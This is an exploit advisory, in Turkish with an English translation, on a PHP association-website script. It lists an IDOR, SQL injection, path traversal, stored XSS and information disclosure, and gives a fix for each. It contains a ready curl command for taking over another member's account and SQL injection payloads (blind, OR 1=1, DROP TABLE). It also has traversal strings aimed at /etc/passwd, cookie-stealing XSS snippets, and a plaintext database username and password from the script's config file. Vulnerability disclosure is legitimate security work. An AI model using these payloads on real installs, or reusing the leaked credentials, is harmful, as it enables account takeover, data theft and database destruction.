Association Management Script - Multiple Vulnerabilities (IDOR, SQLi, Stored XSS)

# Exploit Title: Association Web Script - Multiple Vulnerabilities # Date: 06.06.2026 # Author: Xasthur # Contact: https://t.me/seomarketing_tr # Vulnerability Type: IDOR / SQL Injection / Path Traversal / Stored XSS / Information Disclosure # Risk Level: Critical # Tested on: PHP / MySQL ======================================================================== [Multiple Vulnerabilities] Dernek Sitesi Script - IDOR, SQLi, Path Traversal, Stored XSS & Information Disclosure (Turkish Version) ======================================================================== ## Açıklama Bu belge, projede tespit edilen güvenlik açıklarının nasıl istismar edilebileceğini adım adım açıklar. Amaç, geliştiricinin bu açıkları kapatması ve penetrasyon testlerinde kullanılabilmesidir. --- ## 1. IDOR (Insecure Direct Object Reference) – Bilgi Güncelleme **Dosya:** sistem/bilgiguncelle.php ### Açıklık Sayfa, üyenin kendi bilgilerini güncellemesi için tasarlanmış; ancak güncelleme sorgusunda kullanılan id değeri doğrudan kullanıcıdan (form POST) alınıyor. Sunucu tarafında “bu id, oturum açan kullanıcıya mı ait?” kontrolü yapılmıyor. - SELECT sorgusu doğru şekilde $_SESSION["uyeid"] kullanıyor (sadece kendi kaydı çekiliyor). - UPDATE sorgusunda ise $_POST['id'] kullanılıyor; bu değer formdaki hidden input’tan geliyor ve istemci tarafında değiştirilebilir. ### İstismar Adımları 1. Geçerli bir üye hesabıyla giriş yap (rutbe = 5). 2. “Bilgi Güncelle” sayfasına git (örn. bilgiguncelle.html). 3. Tarayıcı geliştirici araçları (F12) ile formu incele; hidden input’u bul: <input type="hidden" name="id" value="123"> Buradaki 123 sizin üye id’niz. 4. Bu değeri başka bir üyenin id’si ile değiştir (örn. 2, 5, 10). 5. Formu doldurup gönder (ad, tcno, telefon, eposta, yeni şifre vb.). 6. UPDATE sorgusu WHERE Id = ? ile gönderdiğiniz id’yi kullanacağı için o id’ye ait üyenin kaydı güncellenir. Alternatif (curl ile): curl -X POST "https://site.com/bilgiguncelle.html" \ -H "Cookie: PHPSESSID=OTURUM_COOKIE" \ -d "uyeguncelle=uyeguncelle" \ -d "id=2" \ -d "adsoyad=Kurban Ad" \ -d "tcno=12345678901" \ -d "telefon=05551234567" \ -d "eposta=attack@test.com" \ -d "sifre=yeni_sifre_123" \ -d "durum=1" Sonuç: Hedef üyenin adı, e-postası, şifresi ve diğer alanları sizin gönderdiğiniz değerlerle değişir. Bu da tam hesap ele geçirme ve yetkisiz veri değişikliği anlamına gelir. ### Önerilen Düzeltme UPDATE’te id hiç kullanıcıdan alınmamalı; sadece oturumdaki id kullanılmalı: $upt = $db->prepare("UPDATE uyeler SET adsoyad = ?, tcno = ?, ... WHERE Id = ?"); $upt->execute(array($adsoyad, $tcno, ..., $_SESSION["uyeid"])); Formdaki id hidden alanı ya kaldırılmalı ya da sadece görüntüleme amaçlı kullanılmalı; asla UPDATE’te kullanılmamalı. --- ## 2. SQL Injection (SQL Enjeksiyonu) Parameter: eposta (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: eposta=test@test.com' AND 7903=7903 AND 'yHoJ'='yHoJ&isim=Test&sonuc=ok&sonuc2=ok --- anketarsiv.html --- Parameter: ipkontrol (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: ara=Oyla&cevapid=1&ipkontrol=1' AND (SELECT 1100 FROM (SELECT(SLEEP(5)))Dhtd) AND 'svtW'='svtW&soruid=1&puan=1 ### 2.1 Haber sayacı – haber.php **Dosya:** sistem/haber.php (satır 3) $id = guvenlik($_GET['id']); $sql = $db->query("UPDATE haberler SET hit = hit+1 WHERE haberId = '$id' LIMIT 1"); $id doğrudan sorgu metnine ekleniyor. guvenlik() fonksiyonu tek tırnakları &#039; yapıyor, ancak ardından & karakteri siliniyor (str_replace("&", "", $q)). Bu yüzden &#039; -> #039; olur ve veritabanı tarafında tek tırnak ile kaçış/comment davranışı oluşturulabilir. İstismar örneği: - Parametre: id=1&' OR '1'='1 - guvenlik sonrası elde edilen string ile sorgu, mantıksal olarak WHERE haberId = '1' OR '1'='1' gibi çalışabilecek hale gelebilir. - Daha kontrollü deneme: id=1&' ile & silindikten sonra geriye kalan ' ile tırnak kapatılıp ek SQL eklenebilir. Pratik test (örnek): GET /haber-xxx-1.html veya ?id=1&' OR 1=1-- Sorgunun hata vermesi, farklı sonuç döndürmesi veya birden fazla satırı güncellemesi SQL enjeksiyonunun göstergesi olabilir. Düzeltme: id mutlaka prepared statement ile kullanılmalı; query() ile string birleştirme kaldırılmalı: $stmt = $db->prepare("UPDATE haberler SET hit = hit+1 WHERE haberId = ? LIMIT 1"); $stmt->execute([$id]); --- ### 2.2 LIMIT parametreleri – Sayfalama **Etkilenen dosyalar:** galeri.php, galeri2.php, haberler.php, video.php, etkinlikler.php, videolar.php, yorumlar.php, kadro.php vb. Örnek: sistem/galeri.php $sayfa = guvenlik($_GET['sayfa']); // ... $baslangic = $baslangic1 - $sayfalik_kayit; $sql = $db->query("SELECT * FROM galeri ORDER BY Id DESC LIMIT $baslangic, $sayfalik_kayit"); $sayfa kullanıcıdan geliyor; sayı beklenirken metin veya özel karakter verilirse: - sayfa=1; DROP TABLE galeri;-- gibi bir değer, guvenlik ve PHP tip dönüşümü ile kısmen zararsız hale gelse bile, farklı payload’larla hata mesajı veya beklenmedik davranış elde edilebilir. - Negatif veya çok büyük sayılar: sayfa=-1 veya sayfa=999999 ile LIMIT -30, 30 gibi geçersiz/yoğun sorgulara yol açılarak DoS riski oluşur. Örnek: sistem/galeri2.php (satır 57) $sql = $db->query("SELECT * FROM galeri WHERE album = '$id' ORDER BY Id ASC LIMIT $baslangic, $sayfalik_kayit"); Burada hem $id hem de $baslangic / $sayfalik_kayit doğrudan sorguya giriyor; aynı mantıkla SQL enjeksiyon ve hata/DoS denemeleri yapılabilir. Düzeltme: Tüm sayfalama ve filtre parametreleri için: - Sayısal parametreler: (int)$sayfa, (int)$id or filter_var(..., FILTER_VALIDATE_INT) kullanın. - Sorgularda sadece prepared statement kullanın; LIMIT/OFFSET de placeholders veya en azından tamsayıya dönüştürülmüş değişkenlerle verilsin. --- ## 3. Path Traversal (Dosya Yolu Atlama) **Etkilenen yerler:** Galeri ve blog resimlerinin gösterildiği sayfalar. Örnek: sistem/galeri.php, galeri2.php echo '<img ... src="upload/galeri/' . $a["resimadi"] . '" ...>'; resimadi veritabanından geliyor. Eğer bir şekilde (örn. admin panelinde zafiyet veya SQL injection ile) veritabanına şu tür bir değer yazılabiliyorsa: - ../etc/passwd - ....//....//etc/passwd - ..%2f..%2f..%2fetc%2fpasswd sunucu bu path’i upload/galeri/ ile birleştirip okuyorsa, sunucudaki başka dosyalar okunabilir. İstismar: Önce veritabanında galeri veya ilgili tabloda resimadi alanını bu tür değerlerle güncellemek gerekir (örn. IDOR veya SQL injection ile). Ardından galeri sayfası açıldığında tarayıcı upload/galeri/../../../etc/passwd gibi bir URL’e istek atabilir. Düzeltme: Dosya adını sadece dosya adı (basename) olarak kullanın; .. ve mutlak path’lere izin vermeyin: $resimadi = basename($a["resimadi"]); // veya whitelist: sadece [a-zA-Z0-9._-] kabul et --- ## 4. Stored XSS (Depolanan Cross-Site Scripting) **Dosya:** sistem/haber.php, sayfa.php, etkinlik.php vb. $icerik = html_entity_decode($a["icerik"]); // ... echo $icerik; İçerik veritabanından alınıp html_entity_decode ile çözüldükten sonra filtresiz echo ediliyor. Eğer admin panelinden haber/sayfa/etkinlik içeriğine şu tür bir metin eklenebiliyorsa: <script>alert(document.cookie)</script> <img src=x onerror="alert(1)"> Bu içeriği görüntüleyen her kullanıcının tarayıcısında script çalışır (çerez çalma, oturum ele geçirme, sayfa değiştirme vb.). İstismar: Admin olarak veya admin panelinde bir zafiyet ile içeriğe JavaScript / HTML enjekte edilir; sonra bu haber veya sayfayı ziyaret eden kullanıcılar etkilenir. Düzeltme: Kullanıcıya gösterilen tüm içerik çıktıda escape edilmeli: echo htmlspecialchars($icerik, ENT_QUOTES, 'UTF-8'); Eğer sınırlı HTML’e (bold, link vb.) izin verilecekse, güvenli bir HTML temizleme kütüphanesi (örn. HTML Purifier) kullanılmalı; asla “ham” echo $icerik yapılmamalı. --- ## 5. Hassas Bilgi Açığa Çıkması ### 5.1 Veritabanı şifresi – ayarlar.php $username = "usseddernek_dernekler-1"; $password = "F}Ei+cO+(FyN"; $database = "usseddernek_dernekler-1"; Şifre ve kullanıcı adı kaynak kodda düz metin. Kod repoda veya yedekte sızdığında tüm veritabanı ele geçirilebilir. Öneri: Şifreleri ortam değişkeni veya sunucuya özel, versiyon kontrolüne girmeyen bir config dosyasında tutun; production’da mutlaka güçlü parola kullanın. ### 5.2 Adminer – upload/manset/adminer-5.4.2.php upload/manset/ altında Adminer (veritabanı yönetim aracı) duruyor. Bu dosya production’da erişilebilir kalırsa: - Herkes veritabanı girişi deneyebilir. - ayarlar.php ile aynı sunucuda ise, bir şekilde host/user/pass bilgisi elde eden saldırgan tüm veritabanına erişir, tabloları siler, değiştirir, yedekler. İstismar: https://site.com/upload/manset/adminer-5.4.2.php açılır; sistem, host/kullanıcı/şifre bilgisi tahmin veya sızıntı ile doldurulup giriş yapılır. Öneri: Production’da Adminer’ı tamamen kaldırın veya IP kısıtı / kimlik doğrulama arkasına alın; mümkünse bu klasöre doğrudan web erişimi vermeyin. --- ## 6. Zayıf “Guvenlik” Fonksiyonu **Dosya:** ayarlar.php function guvenlik($q) { $q = htmlentities(trim($q)); $q = str_replace("script", "blocked", $q); $q = str_replace("`", "", $q); $q = str_replace("'", "'", $q); // ... $q = str_replace("&", "", $q); - Tek tırnak `'` -> `&#039;` yapılıyor, sonra `&` silindiği için `&#039;` bozuluyor; bu da SQL tarafında tırnak kaçışına yol açabiliyor. - “script” kelimesini bloklamak XSS’i tam engellemez (büyük/küçük harf, boşluk, kodlar vb. ile bypass edilebilir). - Genel güvenlik için “sihirli” tek bir fonksiyona güvenmek yerine: SQL için prepared statement, çıktı için context’e uygun escape (XSS) kullanılmalı. Öneri: guvenlik() sadece ek/yardımcı katman olarak düşünülsün; asıl koruma SQL’de parametreli sorgu, HTML’de htmlspecialchars veya güvenli kütüphanelerle yapılsın. --- ## 7. Eksik Hata / Boş Sonuç Kontrolü **Örnek:** sistem/sayfa.php $id = guvenlik($_GET['id']); $sql = $db->prepare("SELECT * FROM icerikler WHERE Id = ?"); $sql->execute(array($id)); $a = $sql->fetch(PDO::FETCH_ASSOC); $veri = html_entity_decode($a["icerik"]); // $a false ise hata Geçersiz veya olmayan id için $a false döner; $a["icerik"] erişimi undefined index / notice veya hata verir. Bu da bazen bilgi sızıntısı (path, teknoloji) veya hata sayfalarında hassas bilgi gösterilmesine yol açar. Düzeltme: Sorgu sonrası kontrol ekleyin: $a = $sql->fetch(PDO::FETCH_ASSOC); if (!$a) { header("Location: 404.html"); exit; } --- ## Özet Tablo | Açıklık | Dosya / Yer | Etki | Öncelik | | :--- | :--- | :--- | :--- | | IDOR (üye güncelleme) | bilgiguncelle.php | Başka üyenin şifresi/bilgisi | Kritik | | SQL Injection | haber.php, galeri2, LIMIT | Veri sızıntısı, veri bozma | Kritik | | Path Traversal | Galeri resim path | Sunucu dosyası okuma | Yüksek | | Stored XSS | haber, sayfa, etkinlik | Oturum çalma, sayfa değişikliği | Yüksek | | Hassas veri (DB/adminer) | ayarlar, upload/manset | Tam sistem ele geçirme | Kritik | | Zayıf guvenlik() | ayarlar.php | Diğer açıkları destekler | Orta | | Eksik null kontrolü | sayfa.php vb. | Hata / bilgi sızıntısı | Düşük | --- # Sorumluluk Reddi Bu belge yalnızca savunma ve yasal penetrasyon testi amaçlı kullanılmalıdır; izinsiz sistemlerde test yapmak yasadışıdır. English : ======================================================================== [Multiple Vulnerabilities] Association Web Script - IDOR, SQLi, Path Traversal, Stored XSS & Information Disclosure ======================================================================== # Exploit Title: Association Web Script - Multiple Vulnerabilities # Date: 06.06.2026 # Vulnerability Type: IDOR / SQL Injection / Path Traversal / Stored XSS / Information Disclosure # Risk Level: Critical # Tested on: PHP / MySQL --- ## Description This document describes the step-by-step exploitation and analysis of multiple security vulnerabilities identified within the project. The purpose of this advisory is to guide developers in remediating these security flaws and to assist penetration testers during authorized security assessments. --- ## 1. IDOR (Insecure Direct Object Reference) – Profile Update **Vulnerable File:** sistem/bilgiguncelle.php ### Vulnerability Analysis The page is designed to allow members to update their own profile information. However, the id value used in the update query is fetched directly from user input (via POST form). The server-side code fails to validate whether the requested id belongs to the currently authenticated session user. - The SELECT query correctly utilizes $_SESSION["uyeid"] (only fetching the authenticated user's record). - The UPDATE query, however, relies on $_POST['id'], which originates from a hidden input field in the form and can be easily manipulated on the client-side. ### Exploitation Steps 1. Log into a valid member account (e.g., role/rutbe = 5). 2. Navigate to the profile update page (e.g., bilgiguncelle.html). 3. Inspect the form using Browser Developer Tools (F12) to find the hidden input field: <input type="hidden" name="id" value="123"> In this scenario, 123 represents your own member ID. 4. Modify this value to another member's ID (e.g., 2, 5, or 10). 5. Fill out the remaining form fields (name, identity number, phone, email, new password, etc.) and submit. 6. Since the UPDATE query executes using WHERE Id = ? based on the forged ID, the victim's account details will be updated. Alternative Exploitation (via curl): curl -X POST "https://site.com/bilgiguncelle.html" \ -H "Cookie: PHPSESSID=SESSION_COOKIE_HERE" \ -d "uyeguncelle=uyeguncelle" \ -d "id=2" \ -d "adsoyad=Victim Name" \ -d "tcno=12345678901" \ -d "telefon=05551234567" \ -d "eposta=attack@test.com" \ -d "sifre=new_password_123" \ -d "durum=1" Impact: The target user's name, email, password, and other fields are overwritten with the attacker's values. This leads to Full Account Takeover and unauthorized data modification. ### Recommended Remediation The id parameter must never be accepted from user-controlled inputs during an update action. The query should strictly bind the session ID: $upt = $db->prepare("UPDATE uyeler SET adsoyad = ?, tcno = ?, ... WHERE Id = ?"); $upt->execute(array($adsoyad, $tcno, ..., $_SESSION["uyeid"])); The hidden id field should either be removed from the form or used strictly for display purposes, never for processing backend updates. --- ## 2. SQL Injection (SQLi) ### 2.1 News Counter – haber.php **Vulnerable File:** sistem/haber.php (Line 3) $id = guvenlik($_GET['id']); $sql = $db->query("UPDATE haberler SET hit = hit+1 WHERE haberId = '$id' LIMIT 1"); The $id variable is directly concatenated into the SQL query string. The custom sanitation function guvenlik() converts single quotes to &#039;; however, it subsequently removes all ampersand characters (str_replace("&", "", $q)). As a result, &#039; gets stripped down to #039;, which breaks out of the intended quote encapsulation and enables database-level SQL injection or comment behaviors. Exploitation Example: - Payload Parameter: id=1&' OR '1'='1 - After processing through guvenlik(), the string manipulation results in a query behavior logically equivalent to: WHERE haberId = '1' OR '1'='1' - A more controlled attempt using id=1&' breaks the encapsulation by filtering out the & and leaving the raw ' to terminate the SQL string, allowing additional SQL commands to be appended. Practical PoC Attempt: GET /haber-xxx-1.html?id=1&' OR 1=1-- Database error messages, unexpected page behavior, or massive row updates confirm the presence of the SQL injection. Remediation: Implement parameterized queries via prepared statements and avoid raw string concatenation: $stmt = $db->prepare("UPDATE haberler SET hit = hit+1 WHERE haberId = ? LIMIT 1"); $stmt->execute([$id]); --- ### 2.2 LIMIT Parameters – Pagination **Affected Files:** galeri.php, galeri2.php, haberler.php, video.php, etkinlikler.php, videolar.php, yorumlar.php, kadro.php, etc. Example Case: sistem/galeri.php $sayfa = guvenlik($_GET['sayfa']); // ... $baslangic = $baslangic1 - $sayfalik_kayit; $sql = $db->query("SELECT * FROM galeri ORDER BY Id DESC LIMIT $baslangic, $sayfalik_kayit"); The $sayfa parameter is directly handled as user input. If string or special characters are supplied instead of integers: - Payloads like sayfa=1; DROP TABLE galeri;-- can result in query syntax errors or unexpected database behavior depending on how PHP sanitizes or converts types later in execution. - Supplying negative or excessively large integers (e.g., sayfa=-1` or sayfa=999999) alters execution to invalid parameters like LIMIT -30, 30, leading to resource exhaustion or Denial of Service (DoS) vectors. Example Case: sistem/galeri2.php (Line 57) $sql = $db->query("SELECT * FROM galeri WHERE album = '$id' ORDER BY Id ASC LIMIT $baslangic, $sayfalik_kayit"); Both $id and $baslangic / $sayfalik_kayit parameters are concatenated into the query, presenting identical SQL injection and DoS vectors. Remediation: For all pagination and filtering inputs: - Ensure strict type casting for numerical values: Use (int)$sayfa, (int)$id, or filter_var(..., FILTER_VALIDATE_INT). - Enforce prepared statements for queries; pass limits and offsets using placeholder variables or verified integer-typed variables. --- ## 3. Path Traversal (File Path Manipulation) **Affected Infrastructure:** Gallery and blog image display pages. Example Case: sistem/galeri.php, galeri2.php echo '<img ... src="upload/galeri/' . $a["resimadi"] . '" ...>'; The resimadi string is pulled directly from the database. If an attacker successfully compromises the database records (via the previously mentioned SQL Injection or IDOR flaws) and writes traversal payloads into the table: - ../etc/passwd - ....//....//etc/passwd - ..%2f..%2f..%2fetc%2fpasswd If the server attempts to process or read files concatenated with upload/galeri/, arbitrary local system file disclosure may occur. Exploitation: First, the attacker updates the resimadi column in the database with traversal sequences. Once the user or admin visits the gallery page, the browser attempts to execute or reference paths such as upload/galeri/../../../etc/passwd. Remediation: Strip directories from file names using basename(), or enforce strict alphanumeric whitelisting: $resimadi = basename($a["resimadi"]); // Or allow strictly a-z, A-Z, 0-9, periods, underscores, and hyphens. --- ## 4. Stored XSS (Stored Cross-Site Scripting) **Affected Files:** sistem/haber.php, sayfa.php, etkinlik.php, etc. $icerik = html_entity_decode($a["icerik"]); // ... echo $icerik; Content from the database is processed via html_entity_decode() and unfiltered during output rendering (echo). If an attacker inputs malicious scripts into articles, pages, or event fields via administrative panels: <script>alert(document.cookie)</script> <img src=x onerror="alert(1)"> Every user who views the affected section will execute the JavaScript payload within their browser session. Exploitation: An authorized user or an attacker exploiting an administrative panel vulnerability injects arbitrary JavaScript/HTML into the system. Subsequent visitors to the public news page or event section trigger the execution environment, leading to session hijacking, cookie theft, or page defacement. Remediation: Contextually escape all dynamic data prior to rendering: echo htmlspecialchars($icerik, ENT_QUOTES, 'UTF-8'); If HTML markup formatting (e.g., bolding, hyperlinks) must be supported, utilize an established HTML purification library (such as HTML Purifier) instead of echoing raw variable data. --- ## 5. Sensitive Information Disclosure ### 5.1 Hardcoded Database Credentials – ayarlar.php $username = "usseddernek_dernekler-1"; $password = "F}Ei+cO+(FyN"; $database = "usseddernek_dernekler-1"; Database credentials and system usernames are stored in plaintext within source files. Sychronization, backups, or repository leaks immediately expose the underlying data infrastructure. Remediation: Migrate database configuration parameters to environment variables or isolated, non-tracked configuration files excluded from version control systems. ### 5.2 Exposed Management Console (Adminer) – upload/manset/adminer-5.4.2.php An instance of Adminer (a database management tool) is publicly accessible within the /upload/manset/ folder. Leaving administrative management utilities exposed in production allows: - Automated dictionary/brute-force attacks against database instances. - Complete takeover, data exfiltration, or total drop of database tables if connection information leaks from configuration files. Exploitation: Accessing https://site.com/upload/manset/adminer-5.4.2.php loads the administration panel interface, allowing direct queries into the host if credentials become known. Remediation: Remove management consoles from production file trees entirely, or restrict access behind local IP access lists or supplementary authentication parameters. --- ## 6. Flawed "Guvenlik" Sanitation Function **File Location:** ayarlar.php function guvenlik($q) { $q = htmlentities(trim($q)); $q = str_replace("script", "blocked", $q); $q = str_replace("`", "", $q); $q = str_replace("'", "'", $q); // ... $q = str_replace("&", "", $q); - Single quotes (') are initially transformed to &#039;, but the subsequent removal of the & character destroys the entity structure, causing SQL character escaping failures. - String replacement of the word "script" is an ineffective mitigation against XSS vectors; it can be easily bypassed via case manipulation, nested characters, or alternative HTML event handlers. - Single universal filtration functions do not provide robust security layer boundaries. SQL security relies on parameterization, while XSS security relies on context-specific output encoding. Remediation: Maintain the custom utility purely for non-security utility filters. Primary application defense must occur via native PDO prepared queries and htmlspecialchars(). --- ## 7. Missing Error Handling & Null Checks **Example Case:** sistem/sayfa.php $id = guvenlik($_GET['id']); $sql = $db->prepare("SELECT * FROM icerikler WHERE Id = ?"); $sql->execute(array($id)); $a = $sql->fetch(PDO::FETCH_ASSOC); $veri = html_entity_decode($a["icerik"]); // Triggers error if $a evaluates to false Supplying non-existent or malicious IDs causes $sql->fetch() to return a boolean false. Attempting to access indexes on a boolean value throws undefined index notices/warnings. This behavior leads to internal path disclosures or leaks application technical stacks within error screens. Remediation: Implement conditional confirmation logic immediately following database execution steps: $a = $sql->fetch(PDO::FETCH_ASSOC); if (!$a) { header("Location: 404.html"); exit; } --- ## Summary Matrix | Vulnerability Type | Target Location / Component | Potential Impact | Priority | | :--- | :--- | :--- | :--- | | IDOR (Profile Update) | bilgiguncelle.php | Unauthorized Account Takeover | Critical | | SQL Injection | haber.php, galeri2.php, LIMIT parameters | Data Leakage, Database Corruption | Critical | | Path Traversal | Gallery Image Path Functions | System File Disclosure | High | | Stored XSS | News, Page, and Event Displays | Session Hijacking, Site Defacement | High | | Information Disclosure | ayarlar.php, upload/manset/ | Full System Infrastructure Compromise | Critical | | Flawed Sanitation Function | ayarlar.php (guvenlik()) | Facilitates and Complements Other Exploits | Medium | | Missing Null Validation | sayfa.php / General Controllers | Error Generation, Internal Stack Leakage | Low | --- # Disclaimer This advisory is for educational and authorized penetration testing purposes only. Testing target infrastructure without explicit, written authorization is illegal.